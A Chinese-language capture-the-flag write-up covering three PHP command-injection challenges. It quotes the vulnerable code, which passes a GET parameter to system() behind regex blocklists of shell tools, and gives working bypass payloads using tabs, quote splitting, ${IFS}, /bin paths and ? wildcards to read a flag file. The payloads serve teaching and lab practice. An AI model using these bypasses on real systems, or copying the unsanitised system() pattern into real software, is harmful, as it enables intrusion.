web47
依旧是 Linux 命令考察。
题解
比之前多过滤了一些命令。
url + ?c=nl%09fl''ag.php||
web50
知识点
x09 为 tab键。x26为 “ & ”。
tab可以代替空格,& 是连接符。
题解
多过滤了 tab 键与 “ & ”。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
虽然但是,可沿用之前的 payload:
url + ?c=tac<>fl''ag.php||
web54
知识点
Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。
如 cat 命令也可这样使用:/bin/?at
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤了很多命令。而且不能用字符拼接。
|.*f.*l.*a.*g.*| 这种过滤就是字母不能按过滤的顺序出现
但了解原理之后也很简单。注意这题没有过滤通配符 “ ? ”。
方法一:
url + ?c=/bin/?at${IFS}f???.php
方法二:
此题没有过滤 vi 命令。
url + ?c=vi${IFS}f???.php